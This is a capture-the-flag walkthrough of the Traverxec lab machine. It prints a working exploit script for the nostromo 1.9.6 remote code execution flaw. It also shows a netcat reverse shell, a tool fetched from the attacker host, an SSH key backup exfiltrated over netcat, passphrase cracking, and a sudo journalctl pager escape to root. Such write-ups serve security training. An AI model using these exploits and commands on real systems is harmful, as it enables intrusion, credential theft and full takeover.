# Traverxec Writeup ![](img/40.png) ## Introduction : Traverxec is an easy linux box released back in November 2019. ## **Part 1 : Initial Enumeration** As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. [ 10.10.14.13/23 ] [ /dev/pts/29 ] [Nextcloud/blog] → sudo nmap -vvv -p- 10.10.10.165 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered [sudo] password for nothing: Discovered open port 80/tcp on 10.10.10.165 Discovered open port 22/tcp on 10.10.10.165 [ 10.10.14.13/23 ] [ /dev/pts/29 ] [Nextcloud/blog] → nmap -sCV -p80,22 10.10.10.165 Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-25 11:35 CEST Nmap scan report for 10.10.10.165 Host is up (0.034s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0) | ssh-hostkey: | 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA) | 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA) |_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519) 80/tcp open http nostromo 1.9.6 |_http-server-header: nostromo 1.9.6 |_http-title: TRAVERXEC Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.07 seconds ## **Part 2 : Getting User Access** Our nmap scan picked up port 80 running nostromo 1.9.6: ![](prg/40_001.png) You can run the scans you want on this webserver, you won't find much. But we do know that this is nostromo 1.9.6 so lets see if there are any CVEs: [ 10.10.14.13/23 ] [ /dev/pts/6 ] [Nextcloud/blog] → searchsploit nostromo 1.9 --------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path --------------------------------------------------------------------------------- --------------------------------- nostromo 1.9.6 - Remote Code Execution | multiple/remote/47837.py nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution | linux/remote/35466.sh --------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results And indeed this is an incredible coincidence that this nostromo version has a RCE vulnerability, so let's use it: [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traverxec] → cp $(locate 47837.py) . [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traverxec] → vim 47837.py Looking at it in detail: # Exploit Title: nostromo 1.9.6 - Remote Code Execution # Date: 2019-12-31 # Exploit Author: Kr0ff # Vendor Homepage: # Software Link: http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz # Version: 1.9.6 # Tested on: Debian # CVE : CVE-2019-16278 #cve2019_16278.py #!/usr/bin/env python import sys import socket art = """ _____-2019-16278 _____ _______ ______ _____\ \ _____\ \_\ | | | / / | | / /| || / / /|/ / /___/| / / /____/||\ \ \ |/| |__ |___|/ | | |____|/ \ \ \ | | | \ | | _____ \| \| | | __/ __ |\ \|\ \ |\ /| |\ \ / \ | \_____\| | | \_______/ | | \____\/ | | | /____/| \ | | / | | |____/| \|_____| || \|_____|/ \|____| | | |____|/ |___|/ """ help_menu = '\r\nUsage: cve2019-16278.py <****Target_IP> <****Target_Port> <****Command>' def connect(soc): response = "" try: while True: connection = soc.recv(1024) if len(connection) == 0: break response += connection except: pass return response def cve(target, port, cmd): soc = socket.socket() soc.connect((target, int(port))) payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2> &1'.format(cmd) soc.send(payload) receive = connect(soc) print(receive) if __name__ == "__main__": print(art) try: target = sys.argv[1] port = sys.argv[2] cmd = sys.argv[3] cve(target, port, cmd) except IndexError: print(help_menu) This is a very simple python script, which sends a POST request to the ip and port pair we give it: [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traverxec] → python 47837.py 10.10.10.165 80 id _____-2019-16278 _____ _______ ______ _____\ \ _____\ \_\ | | | / / | | / /| || / / /|/ / /___/| / / /____/||\ \ \ |/| |__ |___|/ | | |____|/ \ \ \ | | | \ | | _____ \| \| | | __/ __ |\ \|\ \ |\ /| |\ \ / \ | \_____\| | | \_______/ | | \____\/ | | | /____/| \ | | / | | |____/| \|_____| || \|_____|/ \|____| | | |____|/ |___|/ HTTP/1.1 200 OK Date: Tue, 25 May 2021 15:48:12 GMT Server: nostromo 1.9.6 Connection: close uid=33(www-data) gid=33(www-data) groups=33(www-data) Indeed we get remote code execution as the www-data user, so we can get a reverse shell as follows: [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traverxec] → python 47837.py 10.10.10.165 80 "nc -e bash 10.10.14.13 9001" [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Traverxec] → nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.14.13] from (UNKNOWN) [10.10.10.165] 54374 id uid=33(www-data) gid=33(www-data) groups=33(www-data) Obviously this is a very limited shell, so let's upgrade it to a fully interactive shell, first we spawn a tty using python's pty module: which python /usr/bin/python python -c 'import pty;pty.spawn("/bin/bash")' www-data@traverxec:/usr/bin$ CTRL+Z [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Traverxec] → stty raw echo ; fg [1] + 3599725 continued nc -lvnp 9001 export TERM=screen-256color www-data@traverxec:/usr/bin$ export SHELL=bash www-data@traverxec:/usr/bin$ stty rows 40 columns 125 www-data@traverxec:/usr/bin$ reset And there you go ! We managed to get a fully interactive reverse shell: www-data@traverxec:/usr/bin$ stty -a | grep rows speed 38400 baud; rows 40; columns 125; line = 0; www-data@traverxec:/usr/bin$ echo $TERM screen-256color www-data@traverxec:/usr/bin$ echo $SHELL bash www-data@traverxec:/usr/bin$ ls Display all 666 possibilities? (y or n) Now from there we need to find a way to privesc: www-data@traverxec:/usr/bin$ ls /home david www-data@traverxec:/usr/bin$ ls /home/david/user.txt /home/david/user.txt www-data@traverxec:/usr/bin$ ls /home/david/user.txt -lash 4.0K -r--r----- 1 root david 33 Oct 25 2019 /home/david/user.txt We're going to attempt to privesc to the david user, so first let's enumerate the box using LinPEAS.sh: [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Traverxec] → cp $(locate linpeas.sh) . [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Traverxec] → ls -lash linpeas.sh 336K -rwxr-xr-x 1 nothing nothing 334K May 25 17:50 linpeas.sh [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Traverxec] → python3 -m http.server 9090 Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... Now download it onto the box: www-data@traverxec:/dev/shm$ which wget ; which curl /usr/bin/wget www-data@traverxec:/dev/shm$ which wget ; which curl /usr/bin/wget www-data@traverxec:/dev/shm$ wget http://10.10.14.13:9090/linpeas.sh -O /dev/shm/peas.sh --2021-05-25 11:59:40-- http://10.10.14.13:9090/linpeas.sh Connecting to 10.10.14.13:9090... connected. HTTP request sent, awaiting response... 200 OK Length: 341863 (334K) [text/x-sh] Saving to: '/dev/shm/peas.sh' /dev/shm/peas.sh 100%[====================================================>] 333.85K 690KB/s in 0.5s 2021-05-25 11:59:41 (690 KB/s) - '/dev/shm/peas.sh' saved [341863/341863] www-data@traverxec:/dev/shm$ chmod +x peas.sh www-data@traverxec:/dev/shm$ ./peas.sh Here i uploaded the script to **/dev/shm** , which is basically an alternative to the **/tmp** directory. ![](prg/40_002.png) ![](prg/40_003.png) And indeed we are hinted towards the david user that seems to be part of quite a few groups, let's take a look at his home directory: www-data@traverxec:/home/david$ cd public_www www-data@traverxec:/home/david/public_www$ ls index.html protected-file-area www-data@traverxec:/home/david/public_www$ ls -lash total 16K 4.0K drwxr-xr-x 3 david david 4.0K Oct 25 2019 . 4.0K drwx--x--x 5 david david 4.0K Oct 25 2019 .. 4.0K -rw-r--r-- 1 david david 402 Oct 25 2019 index.html 4.0K drwxr-xr-x 2 david david 4.0K Oct 25 2019 protected-file-area www-data@traverxec:/home/david/public_www$ cat protected-file-area/ .htaccess backup-ssh-identity-files.tgz www-data@traverxec:/home/david/public_www$ cat protected-file-area/.htaccess realm David's Protected File Area. Keep out! www-data@traverxec:/home/david/public_www/protected-file-area$ file backup-ssh-identity-files.tgz backup-ssh-identity-files.tgz: gzip compressed data, last modified: Fri Oct 25 21:02:59 2019, from Unix, original size 10240 www-data@traverxec:/home/david/public_www/protected-file-area$ md5sum backup-ssh-identity-files.tgz 084883c47fec5b1385b50f226db8175f backup-ssh-identity-files.tgz So here we seem to have a gzip archive called ssh backups, let's transfer it back to our local machine: www-data@traverxec:/home/david/public_www/protected-file-area$ which nc /usr/bin/nc www-data@traverxec:/home/david/public_www/protected-file-area$ ls -lash total 16K 4.0K drwxr-xr-x 2 david david 4.0K Oct 25 2019 . 4.0K drwxr-xr-x 3 david david 4.0K Oct 25 2019 .. 4.0K -rw-r--r-- 1 david david 45 Oct 25 2019 .htaccess 4.0K -rw-r--r-- 1 david david 1.9K Oct 25 2019 backup-ssh-identity-files.tgz Luckily for us, netcat is on the machine, so this will be easy to transfer the backup file: www-data@traverxec:/home/david/public_www/protected-file-area$ md5sum backup-ssh-identity-files.tgz 084883c47fec5b1385b50f226db8175f backup-ssh-identity-files.tgz www-data@traverxec:/home/david/public_www/protected-file-area$ cat backup-ssh-identity-files.tgz | nc 10.10.14.13 9002 [ 10.10.14.13/23 ] [ /dev/pts/36 ] [~/HTB/Traverxec] → nc -lvnp 9002 > backup.tgz listening on [any] 9002 ... connect to [10.10.14.13] from (UNKNOWN) [10.10.10.165] 54580 [ 10.10.14.13/23 ] [ /dev/pts/36 ] [~/HTB/Traverxec] → md5sum backup.tgz 084883c47fec5b1385b50f226db8175f backup.tgz And once the transfer is done, we see that both files have the same m4d5 hash, so we know that the transfer is complete, both files are the same. So let's extract it and make use of the ssh keys in there: [ 10.10.14.13/23 ] [ /dev/pts/36 ] [~/HTB/Traverxec] → tar -xvf backup.tgz home/david/.ssh/ home/david/.ssh/authorized_keys home/david/.ssh/id_rsa home/david/.ssh/id_rsa.pub [ 10.10.14.13/23 ] [ /dev/pts/36 ] [~/HTB/Traverxec] → chmod 600 home/david/.ssh/id_rsa [ 10.10.14.13/23 ] [ /dev/pts/36 ] [~/HTB/Traverxec] → ssh david@10.10.10.165 -i home/david/.ssh/id_rsa The authenticity of host '10.10.10.165 (10.10.10.165)' can't be established. ECDSA key fingerprint is SHA256:CiO/pUMzd+6bHnEhA2rAU30QQiNdWOtkEPtJoXnWzVo. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.165' (ECDSA) to the list of known hosts. Enter passphrase for key 'home/david/.ssh/id_rsa': However not so fast! David's private key is encrypted with a password, so let's use john to crack it: [ 10.10.14.13/23 ] [ /dev/pts/36 ] [~/HTB/Traverxec] → cd home/david/.ssh [ 10.10.14.13/23 ] [ /dev/pts/36 ] [home/david/.ssh] → locate ssh2john.py /usr/share/john/ssh2john.py [ 10.10.14.13/23 ] [ /dev/pts/36 ] [home/david/.ssh] → /usr/share/john/ssh2john.py id_rsa > hash.txt [ 10.10.14.13/23 ] [ /dev/pts/36 ] [home/david/.ssh] → john -w=/usr/share/wordlists/rockyou.txt hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 4 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status hunter (id_rsa) And we now have david's password! so let's login using his ssh key: [ 10.10.14.13/23 ] [ /dev/pts/36 ] [home/david/.ssh] → ssh david@10.10.10.165 -i id_rsa Enter passphrase for key 'id_rsa': Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64 david@traverxec:~$ id uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev) david@traverxec:~$ cat user.txt 7dXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And that's it, we managed to get the user flag. ## **Part 3 : Getting Root Access** Now in order to privesc from the david user to the root user, david@traverxec:~$ ls -lash total 36K 4.0K drwx--x--x 5 david david 4.0K Oct 25 2019 . 4.0K drwxr-xr-x 3 root root 4.0K Oct 25 2019 .. 0 lrwxrwxrwx 1 root root 9 Oct 25 2019 .bash_history -> /dev/null 4.0K -rw-r--r-- 1 david david 220 Oct 25 2019 .bash_logout 4.0K -rw-r--r-- 1 david david 3.5K Oct 25 2019 .bashrc 4.0K drwx------ 2 david david 4.0K Oct 25 2019 bin 4.0K -rw-r--r-- 1 david david 807 Oct 25 2019 .profile 4.0K drwxr-xr-x 3 david david 4.0K Oct 25 2019 public_www 4.0K drwx------ 2 david david 4.0K Oct 25 2019 .ssh 4.0K -r--r----- 1 root david 33 Oct 25 2019 user.txt david@traverxec:~$ ls -lash bin/server-stats.* 4.0K -r-------- 1 david david 802 Oct 25 2019 bin/server-stats.head 4.0K -rwx------ 1 david david 363 Oct 25 2019 bin/server-stats.sh david@traverxec:~$ cat bin/server-stats.sh #!/bin/bash cat /home/david/bin/server-stats.head echo "Load: `/usr/bin/uptime`" echo " " echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`" echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`" echo " " echo "Last 5 journal log lines:" /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat Looking in the bin directory we see a bashscript that seems to do something interesting, it runs sudo journalctl, let's run it to see what it does: david@traverxec:~/bin$ ./server-stats.sh .----. .---------. | == | Webserver Statistics and Data |.-"""""-.| |----| Collection Script || || | == | (c) David, 2019 || || |----| |'-.....-'| |::::| '"")---(""' |___.| /:::::::::::\" " /:::=======:::\ jgs '"""""""""""""' Load: 12:50:42 up 7:14, 1 user, load average: 0.00, 0.00, 0.00 Open nhttpd sockets: 1 Files in the docroot: 117 Last 5 journal log lines: -- Logs begin at Tue 2021-05-25 05:35:56 EDT, end at Tue 2021-05-25 12:50:42 EDT. -- May 25 12:01:12 traverxec sudo[8197]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/0 ruser=www-data rhost= user=www-data May 25 12:01:15 traverxec sudo[8197]: pam_unix(sudo:auth): conversation failed May 25 12:01:15 traverxec sudo[8197]: pam_unix(sudo:auth): auth could not identify password for [www-data] May 25 12:01:15 traverxec sudo[8197]: www-data : command not allowed ; TTY=pts/0 ; PWD=/dev/shm ; USER=root ; COMMAND=list May 25 12:01:15 traverxec nologin[8253]: Attempted login by UNKNOWN on UNKNOWN Basically the script returns the last 5 lines of the nostromo service logs using journalctl. So we can exploit it because journalctl invokes the default pager, which is likely to be the **less** utility. Therefore it is also possible to exploit this by running the last command like so: #BEFORE /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat #AFTER /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service after running it we prefix commands with the **!** character, to run **/bin/sh** The trick here to trigger the less command is to shrink your terminal to just a few lines, and you will be able to spawn the root shell: david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service -- Logs begin at Tue 2021-05-25 05:35:56 EDT, end at Tue 2021-05-25 12:59:28 EDT. -- !/bin/sh # id uid=0(root) gid=0(root) groups=0(root) # cat /root/root.txt 9aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And that's it! We managed to get a root shell and print the root flag. ## **Conclusion** Here we can see the progress graph : ![](img/40_graph.png)